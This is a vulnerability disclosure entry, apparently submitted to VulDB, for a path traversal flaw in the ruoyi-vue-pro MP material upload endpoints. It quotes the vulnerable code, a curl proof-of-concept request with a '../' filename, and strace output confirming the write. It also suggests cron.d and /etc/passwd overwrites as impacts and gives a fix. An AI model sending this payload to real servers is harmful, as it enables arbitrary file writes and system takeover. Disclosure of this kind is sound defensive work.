| Título | zhijiantianya ruoyi-vue-pro 2026.06 路径遍历 |
|---|
| Descrição | A path traversal vulnerability was discovered in the MpMaterialService file upload functionality of ruoyi-vue-pro (yudao-server). The getOriginalFilename() return value is directly concatenated with getTmpDirPath() without filtering ../ path traversal characters. An attacker can upload a file with crafted filename to write files to arbitrary system directories.
IMPORTANT: This is a DIFFERENT vulnerability from CVE-2025-2708. CVE-2025-2708 affects /admin-api/infra/file/upload (FileController). This vulnerability affects /admin-api/mp/material/upload-temporary and /admin-api/mp/material/upload-permanent (MpMaterialService). Different file, different endpoint, different code.
Vulnerable file: yudao-module-mp/src/main/java/cn/iocoder/yudao/module/mp/service/material/MpMaterialServiceImpl.java
Vulnerable lines: 93, 125, 153
Vulnerable code:
```java
file = FileUtil.newFile(FileUtil.getTmpDirPath() + reqVO.getFile().getOriginalFilename());
reqVO.getFile().transferTo(file);
```
Affected endpoints:
- POST /admin-api/mp/material/upload-temporary
- POST /admin-api/mp/material/upload-permanent
Proof of Concept:
```bash
curl -X POST 'http://target:48080/admin-api/mp/material/upload-temporary' \
-H "Authorization: Bearer $TOKEN" -H 'tenant-id: 1' \
-F '[email protected];filename=/../../tmp/exploit'
```
Verification results (confirmed via strace):
```
open("/tmp/../../tmp/exploit", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 50
write(50, "payload content", 15) = 15
```
File successfully written to target directory (deleted by finally block afterward, but write action occurred).
Impact:
1. Arbitrary file write: write to any system directory (within service permissions)
2. RCE: if service runs as root, can write to /etc/cron.d/ for privilege escalation
3. System file overwrite: overwrite /etc/passwd etc.
CVSS 3.1: 7.5 High (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)
Solution:
1. Use UUID to generate filename, do not use getOriginalFilename()
2. Or filter ../, ..\, absolute paths from filename |
|---|
| Fonte | ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-mp/src/main/java/cn/iocoder/yudao/module/mp/service/material/MpMaterialServiceImpl.java |
|---|
| Utilizador | liuyulin (UID 100186) |
|---|
| Submissão | 29/07/2026 03h47 (há 2 meses) |
|---|
| Moderação | 24/09/2026 13h34 (2 months later) |
|---|
| Estado | Aceite |
|---|
| Entrada VulDB | 409331 [YunaiV/zhijiantianya ruoyi-vue-pro até 2026.08 File Upload MpMaterialServiceImpl.java getOriginalFilename Travessia de Diretório] |
|---|
| Pontos | 20 |
|---|